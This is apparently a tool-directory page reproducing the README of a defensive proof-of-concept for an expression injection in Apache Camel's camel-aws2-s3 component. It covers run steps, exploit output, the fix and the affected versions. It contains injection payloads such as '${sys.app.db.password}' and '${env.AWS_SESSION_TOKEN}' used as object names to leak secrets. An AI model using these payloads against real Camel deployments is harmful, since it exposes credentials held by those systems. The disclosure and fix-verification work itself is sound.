Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-95664 — Runnable Spring Boot and Quarkus reproducer for CVE-2026-95664, demonstrating Simple expression injection via the CamelAwsS3Key header in camel-aws2-s3 and verifying the fix. | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-95664
Defensive ToolsVulnerability AnalysisExploitationWeb Application ExploitationLearning & Education
GitHuboscerd/cve-2026-95664

CVE-2026-95664

Runnable Spring Boot and Quarkus reproducer for CVE-2026-95664, demonstrating Simple expression injection via the CamelAwsS3Key header in camel-aws2-s3 and verifying the fix.

View Repository
1 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-95664 — camel-aws2-s3: a header-supplied object key was evaluated as a Simple expression

Runnable proof-of-concept reproducer for the Apache Camel vulnerability where the camel-aws2-s3 producer took the object key from the CamelAwsS3Key message header and — since 4.8.0 — AWS2S3Utils.determineKey() passed that value to the Simple language whenever it contained ${ or $simple{, so that a route could use a dynamic key. The evaluation applied to a value taken from the header just as much as to the keyName option configured by the route.

RuntimeDirectoryStack
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-aws2-s3 4.22.1
Camel Quarkuscamel-quarkus/Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0)

Why that matters

The header is not route configuration. The aws2-s3 consumer sets CamelAwsS3Key on every exchange it creates to the key of the object it read — that is, the name of the object in the bucket. In a route that does nothing more than consume from one aws2-s3 endpoint and produce to another, the name of each consumed object therefore reached the producer and was evaluated.

Anyone able to choose the name of an object in a bucket such a route consumes — typically any principal allowed to upload to it — could have Simple expressions of their choosing evaluated inside the Camel process. Simple can read JVM system properties, environment variables and configuration properties, which commonly carry credentials, and, with camel-bean on the classpath, invoke methods on registry beans.

Configuring keyName on the producer was not a protection, because the header takes precedence over it.

Run it

cd camel-spring-boot          # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down

Output on an affected build (identical on both runtimes):

Route under attack: from("direct:archive").to("aws2-s3://archive-bucket?amazonS3Client=#s3Client&region=eu-west-1&autoCreateBucket=false&keyName=archived.txt")
The route configures a FIXED destination key: keyName=archived.txt. It never asks for a
dynamic key. The CamelAwsS3Key header, which the aws2-s3 consumer sets to the name of the
object it read, takes precedence over that option.

Values the deployment holds but the route never references:
  system property app.db.password = PROD-DB-PASSWORD-s3cr3t-77
  environment AWS_SESSION_TOKEN    = ENV-SESSION-TOKEN-s3cr3t-88

1) An ordinary object name in the consumed bucket: 'invoice-2026.pdf'
     key the producer wrote: [invoice-2026.pdf]

2) An object an uploader named '${sys.app.db.password}'
     key the producer wrote: [PROD-DB-PASSWORD-s3cr3t-77]
     the JVM system property was resolved into the key: true

3) An object an uploader named '${env.AWS_SESSION_TOKEN}'
     key the producer wrote: [ENV-SESSION-TOKEN-s3cr3t-88]
     the environment variable was resolved into the key: true

4) The $simple{} marker is handled the same way: '$simple{routeId}-${exchangeId}'
     key the producer wrote: [route1-D953127238C9F86-0000000000000000]
     evaluated rather than used literally: true

5) CONTROL - the same object name through a route doing removeHeader("CamelAwsS3Key")
     key the producer wrote: [archived.txt]
     the configured keyName was used instead: true

>>> PROVEN: ...

Probe 5 is the workaround the advisory gives for deployments that cannot upgrade yet, shown working.

How it is wired

No AWS account and no network. The reproducer registers a recording stand-in for S3 (amazonS3Client=#s3Client) that captures the key the producer actually asked it to write — the one thing that needs observing. The real AWS2S3Producer and the real AWS2S3Utils.determineKey() run; only the SDK call at the very end is captured.

The driver sets CamelAwsS3Key to the consumed object's name, which is exactly what the aws2-s3 consumer does, so the consumer side needs no bucket of its own.

The stand-in also answers headBucket, because AWS2S3Endpoint.doStart() checks that the bucket exists before the route starts. That check is unrelated to the flaw.

Vulnerability Summary

PropertyValue
Componentcamel-aws2-s3 (AWS2S3Utils.determineKey())
CWECWE-917 (Expression Language Injection)
SeverityMedium
Attack vectorThe name of an object in a bucket an aws2-s3 route consumes, containing ${ or $simple{, carried to the producer in CamelAwsS3Key
ImpactEvaluate Simple expressions in the Camel process: read system properties, environment variables and configuration properties; invoke methods on registry beans where camel-bean is present
Affected VersionsFrom 4.8.0 before 4.18.5, from 4.19.0 before 4.22.2 (releases before 4.8.0 used the header value as given and are not affected)
Fixed Versions4.18.5, 4.22.2, 4.23.0
JIRACAMEL-24901
CreditAndrea Cosentino from Apache Software Foundation

Advisory: https://camel.apache.org/security/CVE-2026-95664.html

The bucket name went through the same evaluation, but the consumer only ever places the bucket configured on its own endpoint in a bucket header, never a value derived from a remote object, so the bucket name was not reachable this way.

The fix

Only the key configured by the route may be a dynamic Simple expression. A key supplied through the header is now used literally and never evaluated:

String key = exchange.getIn().getHeader(AWS2S3Constants.KEY, String.class);
if (ObjectHelper.isEmpty(key)) {
    // only the configured key (supplied by the route) may be a dynamic simple expression;
    // a key provided through the header is used literally and never evaluated
    key = configuration.getKeyName();
    if (key != null && hasSimpleFunction(key)) { ... evaluate ... }
}

Fixed on main in apache/camel#26746 (1fd7a667), with backports to camel-4.22.x and camel-4.18.x.

After upgrading, a key or bucket name supplied through a message header is used literally — so a route that deliberately put an unevaluated Simple expression in CamelAwsS3Key or CamelAwsS3OverrideBucketName must now evaluate it in the route itself (setHeader(..., simple(...))) or configure it as the endpoint's keyName / bucketName option.

Checking a fixed build

Set camel.version to 4.22.2 and run it again. Verified against 4.22.1 → 4.22.2:

2) An object an uploader named '${sys.app.db.password}'
     key the producer wrote: [${sys.app.db.password}]
     the JVM system property was resolved into the key: false

4) ... key the producer wrote: [$simple{routeId}-${exchangeId}]
     evaluated rather than used literally: false

>>> NOT reproduced: the header was used literally.

Disclaimer

This repository is published for educational and defensive purposes: to help Apache Camel users understand the vulnerability, verify whether they are affected, and confirm that upgrading resolves it. Do not use this material against systems you do not own or operate.

Download Tool